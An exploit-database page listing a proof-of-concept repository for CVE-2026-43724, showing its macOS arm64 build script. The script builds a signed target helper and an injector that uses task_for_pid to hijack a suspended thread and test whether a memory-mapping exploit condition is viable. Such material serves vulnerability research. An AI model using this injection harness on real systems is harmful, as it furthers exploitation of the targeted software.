Exploit database

GH-64708cd831164ae3950e75b73d66b9a8

impost0r/rie

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43724

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
impost0r/rieRevision 02a4da36a0da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

inject/build.sh

Shell · 1,704 bytes
#!/bin/sh
# Build the first-mapper validation harness (arm64, non-e).
#   child : suspended-target helper (signed get-task-allow) containing child_probe()
#   host  : injector that spawns child SUSPENDED|RESLIDE, task_for_pid, hijacks the
#           suspended main thread to run child_probe, reports the check_np errno.
set -e
SDK="$(xcrun --sdk macosx --show-sdk-path)"
ARCH=arm64
CC="clang -arch $ARCH -O0 -g -isysroot $SDK -Wall -Wextra"
CC="clang -arch $ARCH -O0 -g -isysroot $SDK -Wall -Wextra -fno-stack-protector"
echo "[*] building child..."
$CC -o child child.c
codesign -s - --force --entitlements child.entitlements child

# child_probe runtime addr = exec_base + (child_probe vmaddr - __TEXT vmaddr)
PROBE_ADDR=$(nm child | awk '/ _child_probe$/ {print $1}')
TEXT_VMADDR=$(otool -l child | awk '/segname __TEXT/{f=1} f&&/vmaddr/{print $2; exit}')
if [ -z "$PROBE_ADDR" ] || [ -z "$TEXT_VMADDR" ]; then
	echo "[!] failed to resolve child_probe / __TEXT vmaddr" >&2; exit 1
fi
OFF=$(printf '0x%x' $(( 0x$PROBE_ADDR - $TEXT_VMADDR )))
echo "#define PROBE_OFFSET $OFF" > probe_off.h
echo "[*] child_probe @ 0x$PROBE_ADDR, __TEXT $TEXT_VMADDR  => PROBE_OFFSET=$OFF"

echo "[*] building host..."
$CC -o host host.c
codesign -s - --force --entitlements host.entitlements host

cat <<'EOF'

[*] run in the VM (needs task_for_pid: child is get-task-allow + same uid; or run as root):
      ./host ./child
    interpret "[host] child_probe exit=N":
      12 (ENOMEM) -> BOUND-but-EMPTY region => viable #536 FIRST-MAPPER  [WANT]
       0          -> region already populated
      22 (EINVAL) -> no region bound
    "killed by signal" -> hijack/PAC/exec issue (inspect; arm64 should not hit PAC).
EOF